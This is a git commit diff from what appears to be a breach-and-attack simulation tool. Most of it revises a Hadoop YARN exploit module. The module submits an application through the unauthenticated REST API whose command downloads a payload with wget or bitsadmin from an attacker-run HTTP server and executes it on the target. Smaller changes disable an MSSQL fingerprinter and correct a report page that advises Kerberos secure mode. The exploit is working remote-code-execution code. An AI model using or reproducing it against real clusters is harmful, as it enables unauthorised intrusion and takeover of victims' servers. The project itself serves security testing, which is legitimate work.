Fixed reporting and upploading bugs

This commit is contained in:
Vakaris 2018-07-31 18:05:51 +03:00
parent 5674bebfa6
commit c7952dcbc5
3 changed files with 41 additions and 21 deletions

View File

@ -12,7 +12,7 @@ from exploit.web_rce import WebRCE
from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth
import posixpath
from threading import Lock
from model import DROPPER_ARG
from model import DROPPER_ARG, DOWNLOAD_TIMEOUT
__author__ = 'VakarisZ'
@ -20,13 +20,17 @@ LOG = logging.getLogger(__name__)
class HadoopExploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows']
HADOOP_PORTS = ["8088"]
LINUX_COMMAND = "wget -O %(monkey_path)s %(http_path)s " \
"&& chmod +x %(monkey_path)s " \
# TODO add more hadoop ports
HADOOP_PORTS = [["8088", False]]
# We need to prevent from downloading if monkey already exists because hadoop uses multiple threads/nodes
# to download monkey at the same time
LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
"&& wget -O %(monkey_path)s %(http_path)s " \
"; chmod +x %(monkey_path)s " \
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
WINDOWS_COMMAND = "bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s " \
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
LOCK = Lock()
def __init__(self, host):
@ -47,25 +51,33 @@ class HadoopExploiter(WebRCE):
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# Determine which destination path to use
# Determine where to save monkey on the target
LOG.debug("Monkey path found")
path = WebRCE.get_monkey_dest_path(self._config, src_path)
# Build command to execute
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path)
if 'linux' in self.host.os['type']:
command = self.LINUX_COMMAND % {"monkey_path": path, "http_path": src_path,
"monkey_type": DROPPER_ARG, "parameters": monkey_cmd}
else:
command = self.WINDOWS_COMMAND % {"monkey_path": path, "http_path": src_path,
"monkey_type": DROPPER_ARG, "parameters": monkey_cmd}
if not path:
return False
# To avoid race conditions we pass a locked lock to http servers thread
self.LOCK.acquire()
# Create server for http download and wait for it's startup.
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path, self.LOCK)
self.LOCK.acquire()
self.exploit(url, command)
# Build command to execute
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path)
if 'linux' in self.host.os['type']:
command = self.LINUX_COMMAND % {"monkey_path": path, "http_path": http_path,
"monkey_type": DROPPER_ARG, "parameters": monkey_cmd}
else:
command = self.WINDOWS_COMMAND % {"monkey_path": path, "http_path": http_path,
"monkey_type": DROPPER_ARG, "parameters": monkey_cmd}
# command = "! [ -f %(monkey_path)s ] wget -O %(monkey_path)s %(http_path)s" % {"monkey_path": path, "http_path": http_path}
if not path:
return False
if not self.exploit(url, command):
return False
self.LOCK.release()
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
return True
def exploit(self, url, command):
# Get the newly created application id
@ -85,10 +97,17 @@ class HadoopExploiter(WebRCE):
"application-type": "YARN"
}
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload)
if resp.status_code == 202:
return True
else:
return False
def try_exploit(self, url):
# Get the newly created application id
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"))
try:
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"))
except requests.ConnectionError:
return False
if resp.status_code == 200:
return True
else:

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@ -29,7 +29,8 @@ class MSSQLFinger(HostFinger):
Discovered server information written to the Host info struct.
True if success, False otherwise.
"""
# TODO remove auto-return
return False
assert isinstance(host, VictimHost)
# Create a UDP socket and sets a timeout

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@ -332,7 +332,7 @@ class ReportPageComponent extends AuthComponent {
<li>Oracle WebLogic servers are vulnerable to remote code execution. (<a
href="https://nvd.nist.gov/vuln/detail/CVE-2017-10271">
CVE-2017-10271</a>)</li> : null }
{this.state.report.overview.issues[this.Issue.WEBLOGIC] ?
{this.state.report.overview.issues[this.Issue.HADOOP] ?
<li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null }
</ul>
</div>
@ -722,7 +722,7 @@ class ReportPageComponent extends AuthComponent {
generateHadoopIssue(issue) {
return (
<li>
Run Hadoop in secure mode(<a href="http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html">
Run Hadoop in secure mode(<a href="http://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/SecureMode.html">
add Kerberos authentication</a>).
<CollapsibleWellComponent>
Oracle WebLogic server at <span className="label label-primary">{issue.machine}</span> (<span